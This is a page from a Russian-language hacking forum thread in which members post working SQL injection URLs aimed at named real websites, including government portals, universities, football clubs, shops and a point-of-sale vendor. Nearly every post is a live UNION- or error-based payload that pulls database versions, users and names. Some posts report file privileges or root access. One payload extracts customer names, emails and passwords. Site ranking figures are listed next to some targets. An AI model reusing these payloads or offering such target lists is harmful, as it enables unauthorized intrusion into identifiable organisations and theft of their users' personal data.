SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    914
    Reputations:
    363
    Code:
    http://www.asep7.gov.la/show.php?id=-15'+union+select+1,2,3,4,version(),6,7,8,9,10,11,12+--+
    pr 5
     
    _________________________
  2. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    306
    Likes Received:
    138
    Reputations:
    33
    File Priv Y

    Code:
    http://border-terrier.ru/video.php?id=-11+union+select+1,File_Priv,3,4,5,6+from++mysql.user--
    Mysql 5.1.49-3
    Тиц 20
     
  3. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    Официальный сайт городского головы и городского совета г. Дoнeцкa
    Code:
    http://www.lukyanchenko.donetsk.ua/public_echo.php?id=122%27+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17+--+
    Версия: 4.1.22-max-log
     
    #15843 Unknowhacker, 23 Sep 2014
    Last edited: 23 Sep 2014
  4. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.laobooking.com/city_destination.php?cid=-9%27+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4+--+
     
  5. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Специально для всех любителей футбола:

    Seria B
    Code:
    http://www.asavellino.com/notizia.php?id=-7984+union+select+1,2,3,4,5,concat_ws(0x3a,version(),user(),database()),7,8--
    Code:
    http://www.bolognafc.it/news.asp?id=1+and+1=convert(int,@@version)--
    http://www.bolognafc.it/news.asp?id=1+and+1=convert(int,db_name())--
    http://www.bolognafc.it/news.asp?id=1+and+1=convert(int,user_name())--
    http://www.bolognafc.it/news.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+%20not+in+(%27Wallpaper%27)))--
    
    Code:
    http://www.livornocalcio.it/notizie/notizie.php?id=-9939+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11,12+--+
    Code:
    http://www.ternanacalcio.com/index.php?module=loadContenuto&id=5&padre=-28%27+AND+substring(@@version, 1, 1)=5
    ну и как же без Seria A
    Code:
    http://www.hellasverona.it/scheda.php?id=-330'+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13+--+
     
    1 person likes this.
  6. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    http://legendsofbaseball.com/?cid=-1+union+select+1,2,3,@@version
     
    2 people like this.
  7. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    PR7
    http://www.destinationquebec.com/medias/section.php?section=01&sm=01&Langue=fr&cle_idee=-2986'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40+--+
     
  8. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    http://www.vokrugsveta.ru/photo/location/11/?limit=2&sort=publish_date1+and(select+1+from(select+count(*),concat((select+concat_ws(0x3a,version(),user(),database())),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+g

    5.0.86:vokrugsv@localhost:vokrugsv
     
    _________________________
  9. unic0rn

    unic0rn Banned

    Joined:
    14 Jan 2014
    Messages:
    28
    Likes Received:
    17
    Reputations:
    16
    Code:
    http://transparencia.redsalud.gov.cl/transparencia/public/auditorias_historico.php?id=-9967'+UNION+SELECT+user()+--+
    file_priv: Y
     
  10. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.firstgulf.com/search-details.php?id=-59+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11+--+
     
  11. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.dawnbooksupply.co.uk/product.php?id=-114+union+select+1,2,@@version,4+--+
    CTRL+U -> смотрим строку 358 и видим ответ =

    Code:
    <img src='http://www.dawnbooksupply.co.uk/images/products/thumb_5.1.41-3ubuntu12.10' alt='Dawn Book Supply'/></a></div>
     
  12. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    914
    Reputations:
    363
    Code:
    http://monicasantana.de/main.php?id=brautmode-kollektion-uebersicht&kollektion=-12%27+union+select+1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--+
     
    _________________________
    1 person likes this.
  13. look2009

    look2009 Member

    Joined:
    3 Jun 2009
    Messages:
    80
    Likes Received:
    63
    Reputations:
    5
    Code:
    http://www.prolink2u.com/new/products/print_prod.php?cid=75%27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat_ws(0x3a,0x3a,0x3a,cust_id,cust_fname,cust_lname,cust_city,cust_country,cust_dob,cust_email,cust_password,0x3a),17,18+from+tbcustinfo+--+
     
  14. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.top15poker.com/news/category.php?cid=-2+union+select+1,@@version,3--
     
  15. ~nero~

    ~nero~ Member

    Joined:
    3 Jul 2012
    Messages:
    15
    Likes Received:
    8
    Reputations:
    3
    Индийский эпос Махабхарата

    (CY) 10
    (PR) 2

    Code:
    http://www.eraved.com.ua/mahabharata.php?id=-106%27+union+select+User(),2,version(),4,5--+
    "Зимовье Зверей"
    (CY) 350
    (PR) 3
    Code:
    http://zzverey.spb.ru/list.php?id=23&text=-379+union+select+1,2,User(),version(),5,6--
     
    1 person likes this.
  16. unic0rn

    unic0rn Banned

    Joined:
    14 Jan 2014
    Messages:
    28
    Likes Received:
    17
    Reputations:
    16
    University of Washington
    PR: 6
    тИЦ: 275

    Code:
    http://depts.washington.edu/trnews/wi06b/article.php?ar_id=-62+union+select+1,user(),3,4,5+--+
    КП "Харьковские тепловые сети"
    PR: 3
    тИЦ: 60

    Code:
    http://www.hts.kharkov.ua/news_full.php?id=-17'+UNION+SELECT+1,2,user()+--+
    University of London. Senate House Libraries
    PR: 6
    тИЦ: 10
    Code:
    http://w01.shlexternal.wf.ulcc.ac.uk/res/databases.php?id=-Law'+UNION+SELECT+1,user(),3,4,5,6,7+--+
    New Jersey Institute of Technology. Computer Science Department
    PR: 4
    тИЦ: 30
    Code:
    http://web.njit.edu/cs/CS_Seminar/schedule.php?id=-243'+UNION+SELECT+1,database(),user(),version()+--+
    University of Wisconsin-Madison. Waisman Center
    PR: 7
    тИЦ: 20

    Code:
    http://www.waisman.wisc.edu/cedd/events/details.php?id=415'+UNION+SELECT+1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+--+
     
    3 people like this.
  17. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.skye.co.uk/local-media-shop.php?catid=-14+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6--
    Code:
    [/c]
     
  18. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    posbankusa.com

    Code:
    http://www.posbankusa.com/jboard/point-of-sale-support/notice.html?page=&job=content&Bcode=notice&board_idx=-3+union+select+1,2,3,4,5,concat(database(),0x3b,version()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+
    version() - 5.1.67
     
    1 person likes this.
  19. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    HTML:
    http://posbankcanada.com/jboard/point-of-sale-support/notice.html?page=&job=content&Bcode=notice&board_idx=-3+union+select+1,2,3,4,5,concat(database(),0x3b,version()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+
    posbankusa;5.1.67
     
    1 person likes this.
  20. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    Code:
    http://www.otido.ua/main.php?l=71+or(updatexml(1,c%6fncat(0x3a,user()),1))
    version - 5.1.33
    user - root@localhost
     
    1 person likes this.
Thread Status:
Not open for further replies.